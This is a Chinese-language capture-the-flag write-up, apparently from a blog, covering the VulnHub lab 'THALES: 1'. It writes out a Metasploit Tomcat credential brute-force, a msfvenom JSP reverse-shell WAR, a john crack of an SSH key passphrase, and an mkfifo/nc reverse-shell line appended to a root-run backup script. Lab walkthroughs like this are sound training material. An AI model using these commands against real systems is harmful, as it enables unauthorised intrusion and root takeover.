3

vulnhub靶场之THALES: 1 - upfine

 1 year ago
source link: https://www.cnblogs.com/upfine/p/16838938.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

vulnhub靶场之THALES: 1

准备:

攻击机:虚拟机kali、本机win10。

靶机:THALES: 1,网段地址我这里设置的桥接,所以与本机电脑在同一网段,下载地址:https://download.vulnhub.com/thales/Thales.zip,下载解压后直接vbox打开即可。

目标:获取user.txt和root.txt。

知识点:shell反弹、权限提升、tomcat弱口令、密匙破解(john)

2834847-20221029155928841-319631927.png

信息收集:

通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 192.168.100.0/24,获得靶机地址:192.168.100.167。这里因为是在酒店,这里连的的都是一个网络,所以加了-sn,不然比较慢。

2834847-20221029160323550-1551726593.png

扫描下开放的端口与对应的服务:nmap -T4 -sV -p- -A 192.168.100.167,显示开放了22和8080端口。

2834847-20221029161347285-56743391.png

使用dirmap进行目录扫描,但是未发现有用的目录信息,访问:http://192.168.100.167:8080/,发现是tomcat界面,在页面点击时发现需要登录。

2834847-20221029164515615-1144979787.png

爆破tomcat弱口令:

这里想到了之前的tomcat弱口令的问题(vuhub上也有这个的模拟环境),因此使用msf尝试爆破下弱口令,在msf中搜索下tomcat漏洞,search tomcat,然后找到用于爆破弱口令的并使用。

2834847-20221029164730416-1472315358.png

使用方式:use 19,然后设置下目标主机:set rhost 192.168.100.167,(可以show options查看当前配置的信息),然后run即可。成功获得账户名和密码:tomcat/role1。

2834847-20221029165112831-398689129.png

2834847-20221029165226734-1751641643.png

使用爆破获得账户名和密码:tomcat/role1,成功登录到管理界面。

2834847-20221029165936541-407850312.png

获取shell权限:

在应用程序列表中我们可以进行文件上传和服务部署,因此构造一个反弹shell进行部署,生成反弹shell:msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.100.96 LPORT=6688 -f war -o upfine.war,在kali开启监听:nc -lvp 6688,然后将upfine.war文件进行上传部署并访问,成功获得shell权限。使用python3 -c 'import pty;pty.spawn("/bin/bash")'升级下shell窗口。

2834847-20221029171022586-1646881616.png

2834847-20221029172822888-486817134.png

提权至thales:

在home/thales文件夹下发现了:notes.txt、user.txt、.ssh等文件,读取下相关文件,告诉我们存在一个backup.sh脚本,user.txt文件无权限读取,尝试使用密码:role1进行尝试,但是不对。

2834847-20221029175000039-1902148136.png

2834847-20221029175158073-753264488.png

那就先去查看下backup.sh文件的信息:ls -al和cat backup.sh,发现该文件具有root权限,文件内容定义的是备份什么内容,备份到哪去,备份方法和名称等信息,这里我们可以写入一个反弹shell,那在调用的时候就可以反弹一个root权限的shell,但是tomcat账户按这样操作后显示仍是tomcat权限。

2834847-20221029200639246-1982288333.png

在.ssh下发现密匙:id_rsa文件,将密匙文件复制保存到本地文件upfine,然后命令:python2 /usr/share/john/ssh2john.py /home/kali/Desktop/upfine > passwd生成密码本,然后命令:john --wordlist=/usr/share/wordlists/rockyou.txt passwd进行破解,成功获取密码:vodka06

2834847-20221029185028909-11468957.png
2834847-20221029185339928-1720840881.png

切换thales账户:su thales,读取下user.txt文件,成功获取到flag信息。

2834847-20221029185721907-382770932.png

提权至root:

根据上面的我们发现的backup.sh文件具有root权限,那我们就插入一个反弹shell,然后执行backup.sh脚本,成功获取root权限读取到root.txt。

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.100.96 6688 >/tmp/f" >> backup.sh 
2834847-20221029193610639-924982169.png

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK